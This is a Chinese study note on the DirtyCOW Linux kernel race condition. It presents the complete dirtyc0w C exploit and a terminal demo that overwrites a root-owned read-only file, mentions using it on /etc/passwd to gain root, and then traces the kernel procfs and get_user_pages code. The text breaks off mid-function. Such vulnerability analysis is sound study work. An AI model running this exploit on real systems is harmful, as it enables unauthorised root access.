
DirtyCOW 笔记
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc, char *argv[]) {
if (argc < 3) {
(void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content");
return 1;
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
比较常见的利用手法是越权写/etc/passwd修改 root 用户或修改用户权限来提权
先来看看 exp 做了什么
int main(int argc, char *argv[]) {
if (argc < 3) {
(void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content");
return 1;
}
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
fopen打开只读的目标文件argv[1]mmap到内存(地址随机),MAP_PRIVATE的作用是建立一个 Task 私有的内存映射,如果有别的 Task 尝试写入这篇内存,该进程在写入前会先复制出一份拷贝再进行写入,从而在实现在起子进程或起线程时无需花费大量时间空间拷贝整个内存空间,又能保证 Task 间的并发内存操作互不影响,这就是 CopyOnWritemadviseThread,一个执行procselfmemThread然后看看两个线程的执行体
madvise告诉内核映射的内存或者共享内存的使用情况,MADV_DONTNEED表示接下来不再使用这块内存区域,内核可以释放它/proc/self/mem,这个文件是进程自身的虚拟内存的文件映射,然后不断尝试向文件写入目标信息void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
最终,在两个线程的轮番轰炸下内核出现竞争漏洞,procselfmemThread成功写入只读文件
mmap只会在 vma 上建立内存映射,但不会真的将映射文件放进物理页框。因此当我们第一次尝试write文件时必然会触发缺页异常我们从write开始分析。对文件的任何操作都要走文件所在的文件系统在 VFS 上注册好的虚表file_operations,而/proc上的文件是由 procfs 实现的,找到proc_mem_operations,可以看到write会被绑定倒mem_write上
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
mem_write是对mem_rw的一个 wrap(write标志置为 1),mem_rw的主要流程是
__get_free_page申请一个临时的空闲页充当缓冲区copy_from_user将待写的数据拷贝到临时页access_remote_vm读取目标数据到空闲页(读)或将缓冲区的内容写到目标地址(写)
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm是对__access_remote_vm的 wrap,主要流程是
get_user_pages获取地址目标addr所在的 page structkmap将 page 映射进内核的 high memory(page 所指代的是物理页面)static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, int write)
{
struct vm_area_struct *vma;
void *old_buf = buf;
down_read(&mm->mmap_sem);
/* ignore errors, just check how much was successfully transferred */
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;
ret = get_user_pages(tsk, mm, addr, 1, // 获取addr对应的page
write, 1, &page, &vma);
if (ret <= 0) { // 获取失败
#ifndef CONFIG_HAVE_IOREMAP_PROT
break;
#else
/*
* Check if this is a VM_IO | VM_PFNMAP VMA, which
* we can access using slightly different code.
*/
vma = find_vma(mm, addr);
if (!vma || vma->vm_start > addr)
break;
if (vma->vm_ops && vma->vm_ops->access)
ret = vma->vm_ops->access(vma, addr, buf,
len, write);
if (ret <= 0)
break;
bytes = ret;
#endif
} else { // 获取成功
bytes = len;
offset = addr & (PAGE_SIZE-1);
if (bytes > PAGE_SIZE-offset)
bytes = PAGE_SIZE-offset;
maddr = kmap(page); // 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
if (write) { // 如果是写操作
copy_to_user_page(vma, page, addr, // 将buf的数据拷贝到page中,完成写入
maddr + offset, buf, bytes);
set_page_dirty_lock(page); // 设置页面为脏页
} else { // 如果是读操作
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
page_cache_release(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
以上就是 procfs 读写操作的 overview 了。下面我们从get_user_pages开始切入
get_user_pages是__get_user_pages_locked的 wrap,而后者调用了__get_user_pages才是逻辑主体,其流程如下
foll_flagsfind_extend_vma获取起始地址所在的 vmafollow_page_mask获取虚拟地址对应的物理页的 page struct
faultin_page处理缺页异常。完成处理成功后跳回follow_page_mask重试页面获取long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
long i = 0;
unsigned int page_mask;
struct vm_area_struct *vma = NULL;
if (!nr_pages)
return 0;
VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));